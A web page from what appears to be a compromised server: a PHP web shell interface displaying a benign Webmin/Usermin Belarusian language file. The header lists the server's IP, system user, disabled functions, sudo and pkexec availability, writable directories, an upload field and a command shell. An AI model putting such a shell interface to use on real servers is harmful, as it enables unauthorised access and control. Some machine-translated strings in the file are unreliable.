Private
Server IP : 195.201.23.43  /  Your IP : 18.118.31.32
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/usermin/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/usermin/lang/be.auto
main_homepage=Галоўная старонка
main_feedback=Водгукі ..
main_switch=Пераключэнне карыстальніка ..
main_logout=Выхад
main_version=Версія $1 на $2 ($3)
main_title=Webmin $1 на $2 ($3)
main_title2=Вэбмін
main_title3=Webmin $1 ($2)
main_none=У вас няма доступу да якіх-небудзь модуляў Webmin.
main_skill=Узровень навыкаў
main_readonly=(Рэжым толькі для чытання)
main_return=Вярніцеся да $1
main_unused=Не выкарыстоўваюцца модулі
main_refreshmods=Абнавіць модулі

link_essl=Модуль Net::SSLeay Perl, неабходны для злучэння HTTPS, не ўсталяваны ў вашай сістэме.

category_servers=Серверы
category_hardware=Абсталяванне
category_system=Сістэма
category_webmin=Вэбмін
category_net=Стварэнне сетак
category_syslet=Сыслец
category_cluster=Кластар
category_info=Інфармацыя
category_=Інструменты

longcategory_servers=Модулі для налады сеткі, электроннай пошты, FTP і іншых сервераў
longcategory_hardware=Модулі для налады друкаркі, дыска і іншага абсталявання
longcategory_system=Модулі для карыстальнікаў, файлавых сістэм, задач Cron і іншых параметраў сістэмы
longcategory_webmin=Модулі для налады самога Webmin
longcategory_net=Модулі для налады сеткавых і сеткавых паслуг
longcategory_cluster=Модулі, якія могуць кіраваць некалькімі серверамі з аднаго інтэрфейсу
longcategory_info=Модулі, якія адлюстроўваюць інфармацыю пра вашу сістэму
longcategory_=Модулі, якія выконваюць іншыя розныя задачы

header_webmin=Індэкс Webmin
header_module=Індэкс модуля
header_help=Даведка ..
header_config=Настройка модуля
header_servers=Серверы Webmin

index=паказальнік
yes=Так
no=Не
save=Захаваць
create=Ствары
delete=Выдаліць
find=Знайдзіце
error=Памылка
error_previous=папярэдняя старонка
error_stack=Трэк выкліку стэка
error_file=Файл
error_line=Лінія
error_sub=Функцыя
error_stackline=У файле $1 у радку $2 выклікае $3
efilewrite=Не атрымалася запісаць у $1 : $2 
efileclose=Не атрымалася напісаць на $1 пры закрыцці : $2
efileopen=Не атрымалася адкрыць $1 для напісання : $2
default=Па змаўчанні
modify=Змена
reset=Скінуць
ok=добра
cancel=Адмяніць
fail=Не атрымалася
helpsearch=Пошук дакументаў ..
switch_remote_euser=Карыстальніка Unix $1 не існуе.
programname=Вэбмін
euserdbacl=Не атрымалася атрымаць ACL карыстальніка : $1
euserdbacl2=Не атрымалася абнавіць карыстацкі ACL : $1
egroupdbacl=Не атрымалася атрымаць групу ACL : $1
egroupdbacl2=Не атрымалася абнавіць групу ACL : $1

chooser_title1=Выберыце файл ..
chooser_title2=Выберыце каталог ..
chooser_dir=Каталог $1
chooser_ok=Добра
chooser_date=Абярыце дату
chooser_eopen=Спіс не атрымаўся : $1

users_title1=Выберыце карыстальнікаў ..
users_title2=Выберыце карыстальніка ..
users_sel=Выбраныя карыстальнікі
users_all=Усе карыстальнікі
users_ok=Добра
users_cancel=Адмяніць
users_clear=Ясна

groups_title1=Выберыце групы ..
groups_title2=Выберыце групу ..
groups_all=Усе групы
groups_sel=Выбраныя групы
groups_ok=Добра
groups_cancel=Адмяніць
groups_clear=Ясна

modules_title1=Выберыце Модулі ..
modules_title2=Выберыце модуль ..
modules_sel=Выбраныя модулі
modules_all=Усе модулі
modules_ok=Добра
modules_cancel=Адмяніць
modules_clear=Ясна

config_ecannot=Вам не дазволена наладжваць гэты модуль
config_title=Канфігурацыя
config_dir=Для модуля $1
config_header=Параметры, якія можна наладзіць для $1
config_none=Не
config_eaccess=Вам не дазволены доступ да гэтага модуля
config_emodule=Модуль не існуе
config_err=Не ўдалося захаваць канфігурацыю
config_nochange=Не мяняйцеся
config_setto=Усталяваны ў
config_ewebmin=Параметр тыпу 14 працуе толькі ў Webmin

help_err=Не атрымалася паказаць даведку
help_epath=Адсутнічае альбо недапушчальны шлях дапамогі
help_efile3=Не ўдалося прачытаць старонку даведкі $1 з модуля $2
help_eheader=Адсутнічае раздзел <header>
help_einclude3=Не атрымалася ўключыць старонку даведкі $1
help_eif=$1 не атрымалася : $2
help_eexec=$1 не атрымалася : $2

referer_title=Папярэджанне аб бяспецы
referer_warn=<b>Увага!</b> Webmin выявіў, што праграма $2 была звязана з URL $1, які, здаецца, знаходзіцца па-за Сервер Webmin. Гэта можа быць спроба падмануць ваш сервер у выкананні небяспечнай каманды.
referer_warn_unknown=<b>Увага!</b> Webmin выявіў, што праграма $1 была звязана з невядомым URL, які, падобна, знаходзіцца па-за сервера Webmin. Гэта можа быць спроба падмануць ваш сервер у выкананні небяспечнай каманды.
referer_fix1=If this is a legitimate link, you can allow links from this URL as follows :<ul><li>Login to Webmin normally.</li><li>Go to the <b>Webmin Configuration</b> module.</li><li>Click on the Trusted Referrers icon.</li><li>Enter the hostname $1 into the <b>Trusted websites</b> field, and click <b>Save.</b></li></ul>
referer_fix2=Alternately, you can configure Webmin to allow this link from the command line by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Add the line <tt>referers=$1</tt> at the end, or if a <tt>referers</tt> line already exists add <tt>$1</tt> to it.</li><li>Save the file.</li></ul>
referer_fix3u=Пераканайцеся ў тым, што ваш браўзэр настроены для адпраўкі інфармацыі аб рэферарыве, каб яго можна было праверыць Webmin.
referer_fix2u=Alternately, you can configure Webmin to allow links from unknown referers by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Find the line <tt>referers_none=1</tt> and change it to <tt>referers_none=0</tt>.</li><li>Save the file.</li></ul><p></p>WARNING - this has the side effect of opening your system up to reflected XSS attacks and so is not recommended!

session_header=Уваход у Webmin
session_mesg=Вы павінны ўвесці імя карыстальніка і пароль, каб увайсці на сервер Webmin на $1.
session_mesg2=Для ўваходу ў сістэму неабходна ўвесці імя карыстальніка і пароль.
session_user=Імя карыстальніка
session_pass=Пароль
session_twofactor=Двухфактарны знак
session_login=Увайсці
session_clear=Ясна
session_failed=Уваход не атрымаўся. Калі ласка, паспрабуйце яшчэ раз.
session_twofailed=Двухфакторная аўтэнтыфікацыя не атрымалася : $1
session_logout=Выхад паспяховы. Выкарыстоўвайце форму ніжэй, каб зноў увайсці ў сістэму.
session_timed_out=Сесія вычарпана пасля $1 хвілін бяздзейнасці.
session_save=Памятаеце лагін назаўсёды?

pam_header=Уваход у Webmin
pam_mesg=Вы павінны адказаць на пытанне ніжэй, каб увайсці на сервер Webmin на $1.
pam_mesg2=Вы павінны адказаць на пытанне ніжэй, каб увайсці.
pam_login=Працягвайце
pam_restart=Перазапуск

acl_root=Каранёвая каталог для выбару файла
acl_otherdirs=Іншыя бачныя каталогі ў выбары файлаў
acl_nodot=Схаваць кропкавыя файлы ў выбары файлаў?
acl_home=Хатні каталог карыстальніка
acl_uedit=Карыстальнікі бачныя ў выбары карыстальніка
acl_uedit_all=Усе карыстальнікі
acl_uedit_none=Няма карыстальнікаў
acl_uedit_only=Толькі карыстальнікі
acl_uedit_except=Усе, акрамя карыстальнікаў
acl_uedit_uid=Карыстальнікі з UID ў дыяпазоне
acl_uedit_group=Карыстальнікі з групай
acl_gedit=Групы бачныя ў выбары групы
acl_gedit_all=Усе групы
acl_gedit_none=Няма груп
acl_gedit_only=Толькі групы
acl_gedit_except=Усе, акрамя груп
acl_gedit_gid=Групы з ГІД у дыяпазоне
acl_feedback=Ці можаце адправіць зваротную сувязь па электроннай пошце?
acl_feedback2=Так
acl_feedback1=Так, але не з канфігурацыйнымі файламі
acl_feedback0=Не
acl_feedback3=Так, з канфігурацыйнымі файламі
acl_rpc=Ці можна прымаць званкі RPC?
acl_rpc2=Толькі для <tt>root</tt> альбо <tt>admin</tt>
acl_rpc1=Так
acl_rpc0=Не
acl_readonly2=Карыстальнік знаходзіцца ў дэма-рэжыме?
acl_readonlyyes=Так (некаторыя модулі могуць быць недаступныя)
acl_negative=Выдаваць карыстальнікам новыя дазволы на модуль?
acl_fileunix=Праглядайце файлы як карыстальнікі Unix
acl_sameunix=Гэтак жа, як Webmin
acl_webminsearch=Паказаць поле пошуку па Webmin?

month_1=Студзень
month_2=Люты
month_3=Сакавік
month_4=Красавік
month_5=Мая
month_6=Чэрвень
month_7=Ліпень
month_8=Жнівень
month_9=Верасень
month_10=Кастрычніцкая
month_11=Лістапада
month_12=Снежань

day_0=Нядзеля
day_1=Панядзелак
day_2=Аўторак
day_3=Серада
day_4=Чацвер
day_5=Пятніца
day_6=Субота

smonth_1=Ян
smonth_2=Лют
smonth_3=Сакавік
smonth_4=Крас
smonth_5=Мая
smonth_6=Чэрвень
smonth_7=Ліпень
smonth_8=Жнівень
smonth_9=Верасень
smonth_10=Кастрычнік
smonth_11=Ліс
smonth_12=Снеж

sday_0=Су
sday_1=Пн
sday_2=Ту
sday_3=Мы
sday_4=Чт
sday_5=Фр
sday_6=Са

emodule=Доступ забаронены: Карыстальніку $1 не дазволена выкарыстоўваць модуль $2
emodulecheck=Модуль $1 недаступны ў вашай сістэме
elock_tries2=Не атрымалася заблакаваць файл $1 пасля $2 хвілін. Апошняя памылка была : $3

skill_high=Эксперт
skill_medium=Прамежкавы
skill_low=Пачаткоўца

feedback_title=Водгукі Webmin
feedback_desc=Гэтая форма дазваляе паведамляць пра памылкі пра ўнясенне прапаноў распрацоўшчыкам Webmin адносна любых праблем або адсутных функцый, якія вы знайшлі. Пры націску кнопкі "Адправіць" дэталі, якія ўводзяцца ў форму, будуць адпраўлены па электроннай пошце на $1.
feedback_desc2=Гэты водгук будзе адпраўлены распрацоўшчыку Webmin, а не вашаму сістэмнаму адміністратару, правайдэру або хостынгавай кампаніі. Калі ласка, напішыце зваротную сувязь на англійскай мове, нават калі вы зараз працуеце з Webmin на іншай мове.
feedback_header=Падрабязнасці зваротнай сувязі
feedback_name=Ваша імя
feedback_email=Ваш электронны адрас
feedback_module=Што тычыцца модуля
feedback_all=Усе модулі
feedback_text=Апісанне праблемы ці прапановы
feedback_os=Уключыць у электронную пошту дэталі аперацыйнай сістэмы?
feedback_osdesc=Калі гэтая опцыя абраная, аўтаматычная электронная пошта для зваротнай сувязі будзе ўтрымліваць імя і версію вашай аперацыйнай сістэмы.
feedback_config=Уключыць канфігурацыю модуля ў электронную пошту?
feedback_configdesc=Калі гэта абрана, электронная пошта будзе ўключаць у сябе канфігурацыю адпаведнага модуля і змесціва ўсіх канфігурацыйных файлаў, якімі карыстаецца модуль. Напрыклад, калі зваротная сувязь была звязана з модулем <i>Карыстальнікі і групы</i>, вашы <tt>/etc/passwd</tt> і <tt>/etc/shadow</tt> файлы будуць адпраўлены.
feedback_attach=Дадатковыя файлы для прымацавання
feedback_send=Адправіць водгукі
feedback_mailserver=Адправіць праз SMTP-сервер
feedback_mailserver_def=Лакальная праграма sendmail
feedback_err=Не атрымалася адправіць водгукі
feedback_emodule=Вы вырашылі ўключыць канфігурацыю модуля ў электронную пошту, але не выбралі модуль.
feedback_emodule2=Выбранага модуля не існуе
feedback_econfig=У вас няма поўнага доступу да абранага модуля.
feedback_via=Адпраўлены водгук на $1 праз SMTP-сервер $2
feedback_prog=Накіраваны водгук на $1 з дапамогай праграмы sendmail $2
feedback_esend=Не атрымалася даслаць зваротную сувязь з дапамогай праграмы sendmail альбо мясцовага сервера SMTP.
feedback_to=Адправіць водгукі па адрасах
feedback_enoto=Адрасы, на якія можна адправіць зваротную сувязь, не ўводзіліся
feedback_ecannot=Вам не дазваляецца адпраўляць зваротную сувязь
feedback_ecannot2=Вам не дазваляецца адпраўляць зваротную сувязь, якая змяшчае канфігурацыйныя файлы

progress_size2=Загрузка $1 ($2).
progress_nosize=Загрузка $1.
progress_datan=Атрымана $1 ($2 %)
progress_data2n=Атрымана $1
progress_done=.. загрузка завершана.
progress_incache=Знойдзены $1 у кэшы.

readparse_cdheader=Адсутнічае загаловак Content-Disposition
readparse_enc=Чакаў кадавання формаў дадзеных, але атрымаў нармальнае кадаванне
readparse_max=Дадзеныя перавышалі максімальны памер $1 байт

password_expired=Твой пароль скончыўся, і трэба выбраць новы.
password_temp=Неабходна выбраць новы пароль, каб замяніць ваш часовы лагін.
password_header=Абярыце Новы пароль
password_user=Імя карыстальніка
password_old=Бягучы пароль
password_new1=Новы пароль
password_new2=Зноў новы пароль
password_ok=Змена
password_clear=Ясна
password_done=Ваш пароль быў паспяхова зменены. Цяпер вы можаце <a href='$1'>увайсці зноў</a> з новым паролем.
password_err=Не атрымалася змяніць пароль
password_euser=Ваша імя для ўваходу ў файл пароля не знойдзена!
password_eold=Цяперашні пароль няправільны
password_enew1=Новы пароль не быў уведзены
password_enew2=Вашы новыя паролі не супадаюць
password_epam=Памылка PAM : $1
password_emodpam=Модуль Authen::PAM, неабходны для змены пароля, не ўсталяваны!
password_enewpass=Новы пароль забаронены : $1

ui_mandatory=Гэта поле з'яўляецца абавязковым
ui_checkmandatory=Нічога не было абрана
ui_errors=Было знойдзена некалькі памылак :
ui_nothing=Нічога не ўвялі
ui_searchcol=Знайдзіце радкі дзе
ui_searchfor=Змяшчае тэкст
ui_searchok=Пошук
ui_selall=Абраць усё.
ui_selinv=Інвертаваць выбар.
ui_edate=Няправільная дата
ui_etime=Няправільны час
ui_paging=Паказ радкоў $1 для $2 з $3
ui_rowlabel=$2 у радку $1 :
ui_filterbox=Увядзіце фільтраванне.
ui_of=з

header_statusmsg=$1 увайшоў у $2 $3 на $4 ($5)

uptracker_title=Загрузка файла
uptracker_file=Імя файла
uptracker_size=Памер
uptracker_pc=Прагрэс
uptracker_eid=Ідэнтыфікатар загрузкі не пазначаны
uptracker_eid2=ID загрузкі несапраўдны!
uptracker_of=$1 з $2

wsearch_title=Пошук $1
wsearch_modt=Модуль
wsearch_mtitle=Назва модуля
wsearch_what=Адпаведная старонка
wsearch_type=Тып супадзення
wsearch_mod=$1
wsearch_config_webmin=Канфігурацыя модуля Webmin
wsearch_config_usermin=Налады карыстальніка
wsearch_help=Старонка даведкі
wsearch_inmod=У $1
wsearch_text=Тэкст карыстацкага інтэрфейсу
wsearch_esearch=Нічога для пошуку не было ўведзена.
wsearch_enone=Не знойдзена модуляў або старонак Webmin, якія адпавядаюць $1.
wsearch_on=(На $1)
wsearch_helpfor=Даведка для <i>$1</i>
wsearch_htext=Адпаведны тэкст
wsearch_htype=Крыніца
wsearch_hcgis=Літаратура
wsearch_type_mod=Назва модуля
wsearch_type_config=Канфігурацыя
wsearch_type_help=Старонка даведкі
wsearch_type_text=Карыстацкі інтэрфейс
wsearch_type_dir=URL модуля
wsearch_hmod=Модуль
wsearch_moddir=URL-шлях /$1/
wsearch_searching=Пошук $1 ..
wsearch_found=знойдзены $1 вынікі :

sql_emysqldriver=Не атрымалася загрузіць драйвер MySQL DBI
sql_emysqlconnect=Не атрымалася падключыцца да базы дадзеных MySQL : $1
sql_epostgresqldriver=Не атрымалася загрузіць драйвер PostgreSQL DBI
sql_epostgresqlconnect=Не атрымалася падключыцца да базы дадзеных PostgreSQL : $1
sql_eldapdriver=Не атрымалася загрузіць модуль Perl LDAP
sql_eldapconnect=Не атрымалася падключыцца да сервера LDAP $1
sql_eldaptls=Не атрымалася запусціць шыфраванне TLS для LDAP : $1
sql_eldaplogin=Не атрымалася ўвайсці на сервер LDAP, як $1 : $2 

log_email_subject=Дзеянне Webmin у $1
log_email_global=Глабальнае дзеянне Webmin
log_email_by=$1 на $2
log_email_desc=Гэты ліст быў адпраўлены Webmin у адказ на дзеянні карыстальніка.
log_email_mod=Модуль Webmin: $1
log_email_moddesc=Назва модуля: $1
log_email_time=Дзеянне, выкананае ў: $1
log_email_system=Выконваецца ў сістэме: $1
log_email_user=Выконвае карыстальнік: $1
log_email_script=Скрыпт Webmin: $1
log_email_session=ID сесіі: $1
log_email_remote=Адрас кліента: $1

nice_size_PB=ПБ
nice_size_PiB=PiB
nice_size_TB=Сухоты
nice_size_TiB=TiB
nice_size_GB=ГБ
nice_size_GiB=ГіБ
nice_size_MB=МБ
nice_size_MiB=МіБ
nice_size_kB=кБ
nice_size_kiB=кіБ
nice_size_b=байт

paginator_showing_start=Паказваецца ад $1 да $2 з $3 элементаў на старонцы
paginator_showing_end=з $1 старонак
paginator_nosearchrs=Няма вынікаў, якія адпавядаюць запыту <tt>$1</tt>

langauto_include=Уключыце машынны пераклад

file_truncated_message=атрымана $1 дадзеных, усечана $2 з $3 
file_truncated_message_head=атрымана пачатак $1 дадзеных, усечана $2 з $3 
file_truncated_message_tail=атрымана заканчэнне $1 дадзеных, усечана $2 з $3 

defcert_error=Выкарыстоўваецца пакетны сертыфікат SSL па змаўчанні $1. Настойліва рэкамендуецца абнавіць стандартны сертыфікат <tt>$2</tt>, перш чым працягнуць уваход.
Private